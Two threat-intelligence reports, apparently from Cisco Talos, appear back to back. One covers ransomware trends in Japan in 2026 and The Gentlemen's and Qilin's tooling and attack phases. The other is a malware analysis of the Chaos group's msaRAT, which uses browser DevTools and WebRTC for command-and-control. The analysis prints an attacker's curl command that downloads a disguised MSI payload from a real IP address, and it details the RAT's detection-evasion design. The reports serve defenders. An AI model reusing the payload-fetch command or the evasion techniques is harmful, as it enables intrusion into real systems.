• Compared with the same period last year, ransomware incidents in Japan increased slightly by approximately 4.7%, indicating that ransomware continues to pose a significant threat.
• In Japan, The Gentlemen was the most active ransomware group in the first half of 2026.
• Attackers continue to primarily target small- and medium-sized enterprises, with organizations capitalized at less than JPY 1 billion accounting for approximately 80% of the total — an increase of around 13% from the previous year.
• The total number of listings on The Gentlemen’s leak site increased from 48 in January to 105 in July, representing approximately a 2.2-fold increase in activity. Additionally, there is a possibility that Russian-speaking individuals are involved in The Gentlemen’s attacks.
• Qilin, which recorded the second-highest number of observed incidents in 2026 after The Gentlemen, is leveraging AI to improve the efficiency of its operations.

Victimized companies

Figure 1 summarizes ransomware incidents affecting Japanese companies from January to July 2026. According to Cisco Talos research, 90 organizations in Japan were affected by ransomware during this period. Compared with 86 incidents during the same period from January to July last year, this represents a slight increase of approximately 4.7%, indicating that ransomware incidents continue to remain at a high level.

On a monthly basis, there were approximately 13 incidents per month on average. The number of incidents increased in March and April, with April recording the highest number during the period at 19 incidents.

Cases involving overseas offices and subsidiaries accounted for 13.3% of the total. Among these, Taiwan recorded the highest number of incidents, followed by the United States and the Philippines, which recorded the same number of incidents, with multiple cases identified in each country.

The manufacturing sector continued to be the most affected industry, accounting for 34% of incidents, followed by the information and communications sector at 11% and the services sector at 9% (see Figure 2).

In terms of the size of the affected organizations, those with capital of less than JPY 100 million accounted for the largest share at 48%, followed by organizations with capital of JPY 100 million to less than JPY 1 billion at 30%. Combined, organizations with capital of less than JPY 1 billion accounted for 78% of the total, representing an increase of around 13% from 69% in 2025. This suggests that attackers are increasingly focusing their efforts on small- and medium-sized enterprises (see Figure 3).

Most frequently observed ransomware types in Japan

In Japan, the most frequently observed ransomware group in the first half of 2026 was The Gentlemen, with 14 incidents. This was followed by Qilin, which caused the highest number of incidents last year, and SafePay, which had relatively few confirmed incidents during the same period last year, with seven incidents each.

The Gentlemen and SafePay have increased their activity this year and can be considered emerging ransomware groups that require increased vigilance. Other ransomware groups observed include NightSpire, NetRunner, LockBit 5.0, RansomEXX, Stormous, and AiLock.

Looking at the ransomware groups observed this year, very few of the groups that were active during the same period last year have been observed, highlighting the rapid changes in the ransomware threat landscape.

In the following sections, we examine the most prominent groups during the period, The Gentlemen and Qilin, and provide an overview of The Gentlemen, the tools it uses, attack flow and findings related to its attribution, as well as examining Qilin’s use of AI.

Overview of The Gentlemen ransomware

The Gentlemen ransomware group has been active since around July 2025. Although it is a relatively new group, it has been expanding its operations through a Ransomware-as-a-Service (RaaS) model and has already caused significant damage to organizations worldwide. The group uses a double-extortion strategy, encrypting victims’ data while also threatening to publish stolen information unless a ransom is paid.

Figure 6 shows the monthly number of listings on The Gentlemen data leak site worldwide. From January to July 2026, the number of listings shows an overall upward trend despite some month-to-month fluctuations. The number increased sharply from 48 in January to 87 in February. From March through May, it remained relatively stable at around 70 – 74 listings per month.

In June, however, the number exceeded 100 for the first time, reaching 108, and remained high at 105 in July. In particular, the figures for June and July were notably higher than those in the preceding months, indicating that listing activity has intensified compared with the beginning of the year. Compared with 48 listings in January, the 105 listings recorded in July represent an increase to approximately 2.2 times the January level.

By industry, manufacturing accounted for the largest share at 21%, followed by professional, scientific, and technical services at 16%, and wholesale trade at 13%. These three industries clearly stood out in terms of the number of incidents.
Among the remaining industries, retail trade accounted for 6%, while construction and health care/social assistance each accounted for 5%, showing a substantial gap from the top three. Incidents were also observed across a wide range of other industries, including information, finance and insurance, transportation and warehousing, and educational services.
Overall, while the activity is not concentrated exclusively in any single industry, manufacturing; professional, scientific, and technical services; and wholesale trade are particularly prominent in terms of the number of observed cases.

Investigation of The Gentlemen’s open directory infrastructure

Talos identified open directory infrastructure believed to have been used by a threat actor associated with The Gentlemen. During our investigation, we observed numerous tools used to support ransomware operations. Our investigation found ransomware targeting ESXi and Windows environments linked to The Gentlemen. We also identified RustHound, a cross-platform Rust-based tool used to collect Active Directory (AD) information required for attack path analysis with BloodHound; exploit code targeting CVE-2025-2479, a SQL injection vulnerability that can allow unauthorized manipulation of databases; the adversary-in-the-middle (AitM) tool Responder; impacket-partial-mic, which can be used for NTLM authentication relay attacks; Ligolo-ng, which establishes tunnels into compromised networks and enables access to internal networks from external systems; the tunneling tool chisel; the remote desktop tool AnyDesk; and the file transfer tool Rclone.

Figure 8 illustrates the attack flow inferred from the commands recorded in .bash_history.

In Phase 1, the actor uses VPN software and tools such as Chisel and Ligolo to establish network routes and turn its server into an attack platform. The actor then repeatedly installs and configures reconnaissance tools such as nmap and masscan, along with BloodHound, NetExec, Responder, and Impacket for targeting AD environments, all within the same command history.

Once the attack platform had been established, the threat actor proceeded to Phase 2: target reconnaissance. They appear to have used Masscan and Nmap to assess publicly exposed hosts, VPN-related ports, web services, SMB, and other active services in order to understand the external and internal network structure. Upon gaining access to the internal network, they used NetExec to enumerate SMB shares, host information, LDAP, and computer information in Active Directory. They may also have used RustHound/BloodHound-related tools to collect domain users, groups, computers, administrative privileges, and trust relationships, with the aim of identifying paths that could be used for lateral movement and privilege escalation.

Following target selection, during Phase 3, we observed the actor downloading and executing Proofs of concept, reconnaissance scripts, and attack tools associated with known vulnerabilities against publicly exposed web services and administrative interfaces. Specifically, the actor attempted to exploit CVE-2025-24799, an unauthenticated SQL injection vulnerability in GLPI, using both a PoC and sqlmap to retrieve user information from the database. The actor also used a scanner targeting cPanel/WHM and downloaded and executed a PoC to test for authentication bypass vulnerabilities.

In Phase 4, the threat actor leveraged the information obtained in Phase 3 to expand the operation into the internal network and Active Directory environment. The actor appears to have collected and validated credentials used within the target environment in an attempt to gain access to multiple hosts and services.
The command history shows the installation and execution of tools targeting Windows authentication and Active Directory, including Responder, NTLM relay-related tools, Impacket, and NetExec. We also observed traces suggesting the exploitation of CVE-2020-1472 (Zerologon) and the vulnerabilities associated with MS17-010.
In Phase 5, the threat actor not only investigated the internal network but also used compromised access paths and credentials to move incrementally toward more critical hosts. The actor used VPN, Chisel, Ligolo-ng, SSH, and Proxychains to establish communication paths from the attacker-controlled server into the target organization’s internal network. They then used NetExec and Impacket to attempt authentication to services such as SMB, LDAP, RDP, and WinRM, seeking access to multiple hosts and attempting lateral movement. This activity indicates an effort to reach critical servers and Active Directory management infrastructure within the internal network.
In Phase 6, involving information collection and exfiltration, the threat actor mounted a backup share via CIFS at /mnt/Backup and inspected the Windows file system within VHDX backups. The command history records the installation of libguestfs-tools, qemu-utils, and nbd-client, the creation of directories such as /mnt/vhdx, and the copying of ntds.dit, SAM, and SYSTEM. The actor then used Impacket’s secretsdump.py to extract credentials and password hashes from the collected ntds.dit and SAM files, saving the results as “ntds.txt” and “SAM.txt”. We also identified traces indicating that the VHDX files were compressed with zstd and transferred to cloud storage services such as Wasabi using rclone. The attackers initially attempted the transfer using the default settings and subsequently reconfigured and reran the process to improve transfer speed and communication stability. The VHDX file was split into 256MiB chunks, with up to 16 files uploaded concurrently to reduce the overall upload time. Detailed progress reporting, connection timeouts, retries following transfer failures, and logging to a file were also specified. This suggests that the attackers were deliberately focused on exfiltrating large volumes of data and intended to maintain and monitor the transfer process.

Following the completion of an operation or at the end of each work phase, the threat actor deleted credential dumps, scan results, Responder-related files, pivoting tools, and temporary files stored on the attacker-controlled server. As shown in Figure 11, the command history contains evidence of deletion activities such as the following:

In addition, as shown in Figure 12, we found that The Gentlemen uses the open-source AdaptixC2 framework for command-and-control (C2) operations.

AdaptixC2 is a C2 post-exploitation framework designed for penetration testing and red team operations. However, The Gentlemen may be using it in real-world attacks.
The tool can also be extended through agents, listeners, and scripts. In addition, it supports multiple communication protocols, including HTTP/S, DNS/DoH, and SMB, making it adaptable to various network environments. Due to this flexibility, AdaptixC2 can be useful not only for legitimate red team operations but also for malicious actors.

Attribution

Among these traces, we discovered a Bash script. The tool itself is relatively simple, periodically sending ping requests to a specified IP address and logging whether the host is reachable. However, we identified Russian-language comments within the script.

Additionally, the contents of the .bash_history file left in the attacker’s environment contained “црщфьш” (whoami), “ды” (ls), “шз ф” (ip a), “сдуфк” (clear), and “уше” (exit). This suggests that the attacker may have been using a Russian keyboard layout, indicating the possibility that a Russian-speaking individual was involved in the attack. As The Gentlemen is suspected to be led by individuals based in Russia, this further supports the connection to the group.

Indications of generative AI use found in Qilin’s open directory

When we investigated the environment affected by the Qilin attack, Talos identified several characteristics in Python scripts found in an open directory used by Qilin that suggest, with medium-to-high confidence, that scripts may have been generated using AI.

Figure 16 shows part of a Python script named “deadman.py”. This tool deploys destructive actions to multiple machines in a Windows/Active Directory environment at a specified time and centrally manages their status.

The do_gpo function shown in Figure 16 uses an AD Group Policy Object (GPO) to deploy the wiper broadly across Windows machines within the domain. This function uses Active Directory Group Policy Objects (GPOs) to deploy a wiper across Windows endpoints within the domain. The code also contains comments such as # Stage wipe payload to SYSVOL, # Stage startup script, and # Create GPO via PowerShell on DC, suggesting that an LLM may have structured the overall process as a workflow: (1) Stage the payload → (2) Stage the startup script → (3) Create the GPO.

Figure 17 shows an excerpt from “veeam_kill.py”, a Python script designed to stop, disable, and destroy Veeam backups. As shown in Figures 17 and 18, the main() function clearly divides the overall process into four stages, labeled “Step 1” through “Step 4,” with comments and progress logs provided at a consistent level of detail for each step.

We also identified traces of code that appears to have been generated by an LLM in “deploy_locker.py”, a script used to distribute and execute ransomware across multiple endpoints. As shown in Figure 19, the script begins with documentation-style text describing the tool’s purpose, prerequisites, and usage examples, a format commonly seen when an LLM generates code from a given specification. In addition, as observed in the code discussed above, the script also contains comments that explain the processing flow step by step.

As shown in Figure 20, a portion of the “.bash_history” file also contains a history of commands used to inspect the contents of a directory associated with a tool named llm_chatbot, which appears to be related to LLM-based generation.

Measures to prevent intrusions

Our investigation found that vulnerabilities and misconfigurations in VPNs, remote access environments, and network devices were prominent initial access vectors. Talos also identified multiple cases in which threat actors gained access to internal networks by abusing stolen credentials or legitimate accounts. Therefore, managing internet-accessible devices and services and protecting credentials remain top priorities.

First, organizations should regularly inventory internet-accessible devices and services, including VPNs and remote desktop services. Unused devices and functions should be disabled, vulnerability advisories should be monitored continuously, and security patches should be applied promptly. Devices that are no longer supported should also be replaced in a planned manner. Restricting access to management interfaces by source IP address and minimizing the externally accessible attack surface are also effective measures.

To prevent the abuse of credentials, organizations should implement multi-factor authentication (MFA) for VPNs, cloud services, remote desktop services, and administrative accounts. Shared accounts and accounts that have not been used for extended periods should also be reviewed, while accounts used for routine work should be separated from those used for administrative tasks. Administrative privileges should be limited to the minimum necessary. Monitoring logins from unusual locations or at unusual times, as well as suspicious account creation, can also help detect the misuse of credentials at an early stage.

Because incidents involving third-party vendors, subsidiaries, and cloud environments were also observed, access controls should extend beyond the organization’s own environment to cover external organizations and services. Access granted to vendors and other third parties should be limited to the minimum necessary and restricted to a defined period. Organizations should also enforce multifactor authentication and retain connection logs to reduce the risk of intrusion through third-party environments. Subsidiaries and overseas locations should be encouraged to manage vulnerabilities and accounts according to the same standards as the headquarters.

Meanwhile, there were also cases in which the initial access vector could not be determined. In addition to implementing preventive measures, organizations should establish processes for retaining the records required for post-incident investigations. To limit the spread of an attack, it is also effective to use EDR and other security tools to monitor activities such as suspicious remote access, the acquisition of administrative privileges, the disabling of backup functions, and large-scale file modifications.

Our investigation indicates that combining vulnerability management for internet-facing assets, credential protection, and access controls that extend to third-party vendors can provide effective protection. Rather than focusing solely on preventing every intrusion, organizations should also establish systems that enable them to detect attacks at an early stage and limit the impact if an intrusion occurs.

Coverage

The following SNORT® rules (SIDs) detect and block this threat:

• Snort 2: 1:67111
• Snort 3: 7:29

• Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”.
• msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications.
• This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser.
• msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay.

Overview of Chaos ransomware

Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog.

Infection chain

Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.

After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.

curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi

The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.

When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.

lib.dll (msaRAT)

msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.

Tokio runtime initialization

Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.

As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.

During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.

By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges — without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.

Hijacking the browser

Locating the Chrome or Edge installation path

After launching the Tokio runtime, msaRAT attempts to manipulate the browser. As the first step toward that goal, it searches for the installation path of Chrome or Edge on the victim machine.

1. Path Discovery via Environment Variables

The malware attempts the following combinations in priority order, checking whether the file exists at each path.

2. Path Discovery via registry

If no path is found through environment variables, the malware falls back to searching for Chrome exclusively via the registry.

If no matching browser is found, the Chrome DevTools Protocol (CDP) manipulation described later will not be executed.

Launching the browser in headless mode

Upon successfully obtaining the browser path, the malware launches Chrome or Edge in headless mode via the CreateProcessW API. At launch, multiple flags listed in Table 2 are applied, enabling the CDP remote debugging port.

In response to this request, the browser returns a JSON array containing information about connectable targets (such as tabs). Each element in the response includes a webSocketDebuggerUrl field, and a CDP session is established by connecting to that URL via WebSocket. Over the established session, a Target.createTarget command is sent to create a new tab, followed by Page.enable and Runtime.enable to activate the JavaScript execution environment.

Inject JavaScript code

After establishing a CDP session over WebSocket, the malware first bypasses Content Security Policy (CSP) using the Page.setBypassCSP command. As shown in Figure 9, the command is referenced from the string blob via pointer and length, then issued as a CDP command.

Immediately after bypassing CSP with Page.setBypassCSP, the RAT issues Runtime.addBinding five consecutive times. Runtime.addBinding is a CDP feature that registers callbacks to notify both the browser's JavaScript and the CDP client (the RAT) of events. The binding names to be registered are stored in the string table within the binary. Through a loop, the names “msaOpen,” “msaClose,” “msaError,” “msaMessage,” and “dataAck” are referenced in order, and each entry is sent as a CDP command one at a time.

After registering each binding name, the RAT uses Runtime.evaluate — a CDP feature for executing JavaScript in the browser — to inject JavaScript code embedded in the .rdata section into the browser. The injected code is embedded in plaintext and consists of two functions.

The first function initializes the WebRTC channel. It is injected only once, at the time of the initial connection. This function establishes the foundation for communications with the C2. The following sections describe the processing performed by this JavaScript code.

WebRTC DataChannel establishment (using Cloudflare Workers for signaling) and data transfer

1. Retrieving Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) server information

First, a GET request is sent to Cloudflare Workers (“is-01-ast[.]ols-img-12[.]workers[.]dev”) to retrieve the STUN/TURN server configuration required for WebRTC connection as JSON. If this fails, window.msaError() notifies the RAT and terminates.

Figure 13 shows the GET request and response between the browser and the server hosted on Cloudflare Workers infrastructure. Since the browser is launched in headless mode, the User-Agent is identified as HeadlessChrome. As for the Origin and Referer headers, the request is disguised as originating from Microsoft's official website in order to evade detection.

 The response body, as shown in Figure 14, returns WebRTC ICE server configuration containing STUN/TURN server information. The STUN server (“stun2.l.google.com”) is used to discover the external IP address of the infected host in order to traverse NAT, while the TURN server (“global.turn.twilio.com”) acts as a relay point when a direct Peer-to-Peer (P2P) connection cannot be established.

2. Creating the WebRTC PeerConnection and DataChannel

Using the retrieved server information, an RTCPeerConnection is created. The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by genStr(5, 20).

3. Connecting events to bindings

The callbacks previously registered via Runtime.addBinding are bound to their respective WebRTC events. When data is received from the C2 (onmessage), the binary data is converted to Base64 and passed to the RAT via window.msaMessage().

4. Interactive Connectivity Establishment (ICE) candidate gathering and SDP negotiation

For WebRTC communication to occur, both parties must first agree on which address to connect to and which format to use for communication. To that end, the malware generates a WebRTC SDP Offer (containing the communication parameters) and gathers ICE candidates to determine the optimal connection path. Once gathering is complete, the SDP Offer is POSTed to the C2 server, which returns an SDP Answer. Applying the C2 server's SDP via setRemoteDescription establishes the WebRTC DataChannnel connection. If ICE candidate gathering does not complete within five seconds, a timeout is triggered and it forcibly executes.

Figures 18 and 19 show the actual POST /token/v1/{UID} request and response. The response contains the attacker's SDP Answer, which includes no ICE candidates, with the connection address set to “0.0.0.0”. By intentionally omitting the ICE candidates that are normally present in standard WebRTC communications, P2P connections are prevented from being established, resulting in a design where all communications are always routed through TURN. By routing traffic through Twilio's legitimate service, the real IP address of the attacker's server never appears in the network traffic, and the dual-layer infrastructure combining Twilio with Cloudflare Workers makes it significantly difficult to trace the attacker's infrastructure.

5. Data conversion helper and random string generation

When sending data from the RAT to the browser, the CDP Runtime.evaluate can only pass strings. However, the actual data transmitted over the WebRTC DataChannel is binary data (ArrayBuffer). The function Base64ToArrayBuffer is responsible for handling this conversion.

6. Send queue and flow control

The WebRTC DataChannel has a send buffer, and continuously sending data can result in new data being dropped. To address this issue, the attacker has implemented a queue and flow control mechanism. Data is dequeued and sent when the buffer drops below 24KB. This design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers to the C2.

The second function is dedicated to data transmission and is injected on demand via Runtime.evaluate each time the RAT sends a command to the C2 through the browser. The actual payload is embedded in place of {base64}.

After the RAT injects JavaScript via Runtime.evaluate, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events from the browser. The establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running within the browser. To relay the results of this processing back to the RAT, the registered bindings such as window.msaOpen() and window.msaMessage(base64Data) are called. Each time a binding is called, CDP emits a Runtime.bindingCalled event to the RAT over WebSocket. The JSON format of this event is as follows:

The params object contains two fields: name (a string indicating which binding was called) and payload (the argument passed from JavaScript). Based on the value of the name field, the RAT switches its subsequent behavior accordingly.

Communication encryption

By specification, the WebRTC DataChannel communication path is automatically protected by DTLS (transport-layer encryption), which is handled entirely by the browser and is independent of the RAT's code. Separately, msaRAT encrypts the data itself using a ChaCha-Poly1305-based encryption scheme before passing it to the browser, resulting in double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents. The ChaCha-Poly1305-based encryption key is derived through an ECDH key exchange performed at the time the C2 connection is established. When a Handshake frame (0xFE) is received from the C2 immediately after connection, the RAT receives the C2 server's public key, generates its own key pair, derives a shared key and then sends its own public key back to the C2.

C2 command processing

While a simple implementation would receive a command number and invoke the corresponding handler, this RAT employs a two-layer structure: an outer layer that manages connection state and an inner layer that processes frames. These are shown in Tables 4 and 5.

C2 communication flow

Figure 25 illustrates the communication flow between msaRAT, Cloudflare Workers, Twilio TURN, and the C2 server.

msaRAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint (“is-01-ast[.]ols-img-12[.]workers[.]dev”), but rather than making HTTP connections to this domain itself, it offloads that entirely to the browser. This endpoint is dedicated solely to signaling relay (SDP Offer/Answer exchange) for establishing a WebRTC connection; once the WebRTC connection is established, Cloudflare Workers drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.

The likely rationale for choosing Cloudflare Workers as the signaling relay is that the destination is Cloudflare's infrastructure rather than an attacker-owned server, meaning the destination IP addresses fall within Cloudflare's CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, “*.workers.dev” is a platform domain provided by Cloudflare for developers, and blocking it would broadly impact legitimate Cloudflare Workers deployments making it structurally difficult for defenders to block. In addition, as we mentioned, communications are double-encrypted.

As a result of this design, all network communication from the RAT process itself is limited to “127.0.0[.]1”, and all external communications are observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Downloader.ChaosRaas-10060321-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Snort 2: 1:66840, 1:66841, 1:66839
• Snort 3: 1:301587, 1:66839

Indicators of compromise (IoCs)

The IOCs can also be found in our GitHub repository here.